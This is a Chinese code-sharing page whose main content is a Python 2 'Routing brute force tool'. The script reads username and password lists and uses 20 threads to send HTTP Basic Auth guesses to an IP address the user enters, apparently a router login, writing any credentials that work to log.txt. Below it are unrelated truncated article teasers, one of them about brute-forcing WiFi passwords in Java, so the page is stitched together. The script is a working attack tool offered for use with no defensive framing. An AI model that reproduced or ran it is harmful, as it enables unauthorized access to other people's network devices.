运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....
#coding:utf-8- import base64 import urllib2 import Queue import threading,re,sys queue = Queue.Queue() class Rout_thread(threading.Thread):def __init__(self,queue,passwd):
threading.Thread.__init__(self) self.queue=queue self.passwordlist=passwd def run(self): self.user=queue.get() for self.passwd in self.passwordlist: request = urllib2.Request("http://"+target) psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd) request.add_header('Authorization', psw_base64) try: response = urllib2.urlopen(request) print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd) fp3 = open('log.txt','a') fp3.write(self.user+'||'+self.passwd+'\r\n') fp3.close() except urllib2.HTTPError: print "[-]password:%s Error!" % (self.passwd)
if __name__ == '__main__': print ''' ####################################################### # # # Routing brute force tool # # # # by:well # # # ####################################################### ''' passwordlist = [] line = 20 threads = [] global target target = raw_input("input ip:") fp =open("user.txt") fp2=open("passwd.txt") for user in fp.readlines(): queue.put(user.split('\n')[0]) for passwd in fp2.readlines(): passwordlist.append(passwd.split('\n')[0]) #print passwordlist fp.close() fp2.close() for i in range(line): a = Rout_thread(queue,passwordlist) a.start() threads.append(a) for j in threads: j.join()
本文向大家介绍Python telnet登陆功能实现代码,包括了Python telnet登陆功能实现代码的使用技巧和注意事项,需要的朋友参考一下 阅读目录 源码请参考:starnightcyber/scripts 主要使用TelnetClient类,封装了登录和执行命令的基本操作。 源码如下,或请查看:scripts/telnet/telnet.py telnet协议是TCP/IP协
本文向大家介绍JavaWeb登陆功能实现代码,包括了JavaWeb登陆功能实现代码的使用技巧和注意事项,需要的朋友参考一下 本文实例为大家分享了JavaWeb登陆功能的方法,供大家参考,具体内容如下 首先我们要JavaWeb登陆的基本流程:JSP页面发送请求——>Servlet——>Servlet通过调用方法从数据库中得到数据并将结果返回页面。 我们先建立三个jsp页面,包括login.jsp(登
本文向大家介绍Java编程实现暴力破解WIFI密码的方法分析,包括了Java编程实现暴力破解WIFI密码的方法分析的使用技巧和注意事项,需要的朋友参考一下 本文实例讲述了Java编程实现暴力破解WIFI密码的方法。分享给大家供大家参考,具体如下: 开始进入正题。在网上找了很多wifi破解工具,都是linux平台下用的,然后还不支持虚拟机装linux。因为很多笔记本装虚拟机都识别不了内置网卡。所以得
本文向大家介绍nodeJS实现路由功能实例代码,包括了nodeJS实现路由功能实例代码的使用技巧和注意事项,需要的朋友参考一下 前面的话 本文将使用NodeJS实现较复杂应用的路由功能 结构 项目结构如下 代码如下 功能 【router.js】 【404.html】 【about.html】 【home.html】 演示 以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持呐喊教
本文向大家介绍python实现的登陆Discuz!论坛通用代码分享,包括了python实现的登陆Discuz!论坛通用代码分享的使用技巧和注意事项,需要的朋友参考一下 代码如下:
本文向大家介绍ThinkPHP实现简单登陆功能,包括了ThinkPHP实现简单登陆功能的使用技巧和注意事项,需要的朋友参考一下 思路:前台输入账号密码,后台自定义一个函数checkNamePwd()用于验证账号密码正确与否,在控制器里调用,其中,checkNamePwd()方法验证账号密码正确性是首先通过账号查找密码,然后把查找出来的密码和用户输入的密码比较,相同则登陆成功,否则登录失败! 首先在